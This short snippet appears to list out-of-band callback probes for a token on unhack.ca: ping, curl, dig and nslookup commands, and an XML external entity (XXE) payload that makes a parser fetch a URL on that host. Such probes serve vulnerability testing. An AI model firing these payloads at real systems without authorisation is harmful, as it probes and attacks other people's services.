$ ping -c1 -p 00a5162d8e5fb273f88babb856ef2400 unhack.ca
 

$ curl http://unhack.ca/p/a5162d8e5fb273f88babb856ef24
 

$ dig a5162d8e5fb273f88babb856ef24 @unhack.ca
 

$ dig a5162d8e5fb273f88babb856ef24.ns.unhack.ca
 

C:\> nslookup a5162d8e5fb273f88babb856ef24 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a5162d8e5fb273f88babb856ef24">]>
    <foo>&xxe;</foo>